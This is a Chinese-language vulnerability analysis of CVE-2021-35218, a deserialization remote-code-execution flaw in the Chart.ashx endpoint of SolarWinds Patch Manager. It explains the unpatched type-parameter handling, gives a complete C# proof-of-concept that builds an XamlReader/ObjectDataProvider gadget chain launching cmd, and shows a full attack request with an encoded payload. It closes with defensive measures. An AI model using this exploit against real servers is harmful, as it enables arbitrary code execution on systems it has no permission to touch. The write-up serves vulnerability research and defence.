SolarWinds Patch Manager Chart端点RCE漏洞分析(CVE-2021-35218)

漏洞概述

CVE-2021-35218是SolarWinds Patch Manager Orion Platform Module中的一个远程代码执行漏洞，位于Chart端点处，由于反序列化不受信任数据导致。攻击者可以通过构造恶意请求在目标系统上执行任意代码。

漏洞分析

漏洞位置

漏洞存在于SolarWinds.PM.Web.dll中的SolarWinds.PM.Web.Charting.ScmChartImageHandler类。

漏洞原理

通过对比补丁前后的代码发现：

1. 未打补丁版本：直接从HTTP请求中获取type参数，用于XmlSerializer反序列化
2. 已打补丁版本：type参数从_friendlyTypes白名单中获取

这种不安全的反序列化操作允许攻击者通过构造特定的XML数据实现远程代码执行。

攻击入口点

攻击通过Orion/PM/Chart.ashx端点进行，该端点继承自ScmChartImageHandler并实现了IHttpHandler接口，所有请求都会经过ProcessRequest方法处理。

漏洞利用

利用条件

1. 目标系统运行未打补丁的SolarWinds Patch Manager
2. 攻击者能够访问Chart.ashx端点
3. 结合CVE-2020-10148身份验证绕过漏洞可实现未授权访问（作者测试未成功）

利用步骤

1. 构造恶意反序列化payload
2. 将payload进行Base64编码
3. 向目标发送特制HTTP请求

PoC代码

using System;
using System.Collections.Specialized;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using System.Web;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd";
            psi.Arguments = "/c ping localhost -t";
            StringDictionary dict = new StringDictionary();
            psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
            Process p = new Process();
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.IsInitialLoadEnabled = false;
            odp.ObjectInstance = p;

            string xamlpayload = XamlWriter.Save(odp);
            //Console.WriteLine(xamlpayload);

            ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.MethodName = "Parse";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add(xamlpayload);
            expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();

            XmlSerializer xmlSerializer = new XmlSerializer(expandedWrapper.GetType());
            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
                {
                    xmlSerializer.Serialize(deflateStream, expandedWrapper);
                    deflateStream.Flush();
                    deflateStream.Close();
                    string text = Base64Encode(memoryStream.ToArray());
                    Console.WriteLine(text);
                }
            }
            Console.ReadKey();
        }
        public static string Base64Encode(byte[] str)
        {
            return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
        }
        public static byte[] Base64Decode(string str)
        {
            byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
            return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
        }
    }
}

攻击请求示例

http://192.168.137.131:8787/Orion/PM/Chart.ashx?tp=System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&chart=bFpSTmo5b3dFSWJ2bGZvZkxCLzJSc3kyVWc4aFlWVUpWa0xhRDlUZHFuc2RiQU91L0JIWnd5YW82bi92QkFpd0ltcTd0MlRlMTU2Wlp5WXBiaHBuMmF1T3lRUmY4dXRzeUcvR0h6OFUwNllDcjdUNkVhR3FkSHhjdm9DejN6UW9lbDc4MUJJbmdEQ1A0ZFZRaE5FZFB1Vk5NaVZmSTFhNUVIVmRaL1huTE1TVitEUWNYb3VYKzdzbnVkWU9Cc1luQkM4MVA1NVMvejdGcVNiR0Nrclk1dGFLSHFncTNBNTNjVkwyUmMwT2R6TXFKY2R0cFV0K3Fwc3owYm52TmE2RGVnQ254M09JU1JmaUxQTEdRekxGa1BnYzRxU0EzejdUM1dkSnFJYzhZVFIreGNkWEZrYzlpRTRKU3Y2RUVKR3pXWnA1Z3dic1hRQTE5YkN3bWxEY2drMGRuQ09ZdEtPUU1tZGtEQ2tzTVpQQmlkcjRaZE9TK2lJYWFsTlVVU2Z0RVpCbTJlRnQ2VW9iQjU0eXB3cWt6cCsyQ2JYTEpnWldQaVEwTW8wZ0plMFdkbHZ1dGVObzNwZWZYNjF3MU45KzluWStuWkd3a1VQcWxDNGoyWTdTekMvRHBYYVUyTmU0MmpqcW1WQUp5U3FhQUxOQmdsMVRaMnhBa01ucUZVUTFqVEhFcVpkQmthZmt2NXI4WVdQdDc1UGhjWVBWQnZzYzM1T08rOEZ4TmlkVWRZanFYSjhFQjhhM2FqdkkxazFsTG8zVngySGUwc3YrQnVrVTdXSFhrZmhidStLU2p2aHZzajNPVmlyRVlYbTdMUmU5YTE2STNpK3RFTy82TFl6L0FBPT01

防御措施

1. 及时更新SolarWinds Patch Manager到已修复版本
2. 实施网络隔离，限制对SolarWinds管理界面的访问
3. 监控和记录对Chart.ashx端点的异常访问
4. 实施最小权限原则，限制SolarWinds服务账户的权限

参考链接

• .NET反序列化漏洞详解
• 官方补丁说明